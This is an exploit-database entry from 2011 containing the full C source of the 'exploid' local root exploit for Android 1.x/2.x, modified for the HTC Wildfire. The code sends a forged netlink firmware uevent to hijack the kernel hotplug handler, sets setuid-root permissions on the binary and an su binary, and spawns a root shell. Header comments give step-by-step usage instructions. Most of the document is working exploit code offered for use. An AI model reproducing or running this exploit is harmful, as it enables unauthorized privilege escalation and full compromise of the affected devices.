Android 1.x/2.x HTC Wildfire Local Root Exploit

2011-02-03T00:00:00
ID 1337DAY-ID-15173
Type zdt
Reporter n/a
Modified 2011-02-03T00:00:00

Description

Exploit for Android platform in category local exploits

                                        
                                            /* android 1.x/2.x the real youdev feat. init local root exploit.
 *
 *
 * Modifications to original exploit for HTC Wildfire Stage 1 soft-root (c) 2010 Martin Paul Eve
 * Changes:
 * -- Will not remount /system rw (NAND protection renders this pointless)
 * -- Doesn't copy self, merely chmods permissions of original executable
 * -- No password required for rootshell (designed to be immediately removed once su binary is in place)
 *
 * Revised usage instructions:
 * -- Copy to /sqlite_stmt_journals/exploid and /sqlite_stmt_journals/su
 * -- chmod exploid to 755
 * -- Execute the binary
 * -- Enable or disable a hotplug item (wifi, bluetooth etc. -- this could be done automatically by an app that packaged this exploit) -- don't worry that it segfaults
 * -- Execute it again to gain rootshell
 * -- Copy to device (/sqlite_stmt_journals/) + chown/chmod su to 04711
 * -- Delete original exploid
 * -- Use modified Superuser app with misplaced su binary
 *
 * Explanatory notes:
 * -- This is designed to be used with a modified superuser app (not yet written) which will use the su binary in /sqlite_stmt_journals/
 * -- It is important that you delete the original exploid binary because, otherwise, any application can gain root
 *
 * Original copyright/usage information
 *
 * (C) 2009/2010 by The Android Exploid Crew.
 *
 * Copy from sdcard to /sqlite_stmt_journals/exploid, chmod 0755 and run.
 * Or use /data/local/tmp if available (thx to ioerror!) It is important to
 * to use /sqlite_stmt_journals directory if available.
 * Then try to invoke hotplug by clicking Settings->Wireless->{Airplane,WiFi etc}
 * or use USB keys etc. This will invoke hotplug which is actually
 * our exploit making /system/bin/rootshell.
 * This exploit requires /etc/firmware directory, e.g. it will
 * run on real devices and not inside the emulator.
 * I'd like to have this exploitet by using the same blockdevice trick
 * as in udev, but internal structures only allow world writable char
 * devices, not block devices, so I used the firmware subsystem.
 *
 * !!!This is PoC code for educational purposes only!!!
 * If you run it, it might crash your device and make it unusable!
 * So you use it at your own risk!
 *
 * Thx to all the TAEC supporters.
 *
 */
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <linux/netlink.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <signal.h>
#include <sys/mount.h>
 
void die(const char *msg)
{
    perror(msg);
    exit(errno);
}
 
void clear_hotplug()
{
    int ofd = open("/proc/sys/kernel/hotplug", O_WRONLY|O_TRUNC);
    write(ofd, "", 1);
    close(ofd);
}
 
void rootshell(char **env)
{
    char pwd[128];
    char *sh[] = {"/system/bin/sh", 0};
 
    setuid(0); setgid(0);
    execve(*sh, sh, env);
    die("[-] execve");
}
 
 
int main(int argc, char **argv, char **env)
{
    char buf[512], path[512];
    int ofd;
    struct sockaddr_nl snl;
    struct iovec iov = {buf, sizeof(buf)};
    struct msghdr msg = {&snl, sizeof(snl), &iov, 1, NULL, 0, 0};
    int sock;
    char *basedir = NULL, *logmessage;
 
 
    /* I hope there is no LD_ bug in androids rtld :) */
    if (geteuid() == 0 && getuid() != 0)
        rootshell(env);
 
    if (readlink("/proc/self/exe", path, sizeof(path)) < 0)
        die("[-] readlink");
 
    if (geteuid() == 0) {
        clear_hotplug();
             
        chown(path, 0, 0);
        chmod(path, 04711);
         
        chown("/sqlite_stmt_journals/su", 0, 0);
        chmod("/sqlite_stmt_journals/su", 06755);
 
        return 0;
    }
 
    printf("[*] Android local root exploid (C) The Android Exploid Crew\n");
    printf("[*] Modified by Martin Paul Eve for Wildfire Stage 1 soft-root\n");
 
    basedir = "/sqlite_stmt_journals";
    if (chdir(basedir) < 0) {
        basedir = "/data/local/tmp";
        if (chdir(basedir) < 0)
            basedir = strdup(getcwd(buf, sizeof(buf)));
    }
    printf("[+] Using basedir=%s, path=%s\n", basedir, path);
    printf("[+] opening NETLINK_KOBJECT_UEVENT socket\n");
 
    memset(&snl, 0, sizeof(snl));
    snl.nl_pid = 1;
    snl.nl_family = AF_NETLINK;
 
    if ((sock = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)) < 0)
        die("[-] socket");
 
    close(creat("loading", 0666));
    if ((ofd = creat("hotplug", 0644)) < 0)
        die("[-] creat");
    if (write(ofd, path , strlen(path)) < 0)
        die("[-] write");
    close(ofd);
    symlink("/proc/sys/kernel/hotplug", "data");
    snprintf(buf, sizeof(buf), "ACTION=add%cDEVPATH=/..%s%c"
             "SUBSYSTEM=firmware%c"
             "FIRMWARE=../../..%s/hotplug%c", 0, basedir, 0, 0, basedir, 0);
    printf("[+] sending add message ...\n");
    if (sendmsg(sock, &msg, 0) < 0)
        die("[-] sendmsg");
    close(sock);
    printf("[*] Try to invoke hotplug now, clicking at the wireless\n"
           "[*] settings, plugin USB key etc.\n"
           "[*] You succeeded if you find /system/bin/rootshell.\n"
           "[*] GUI might hang/restart meanwhile so be patient.\n");
    return 0;
}



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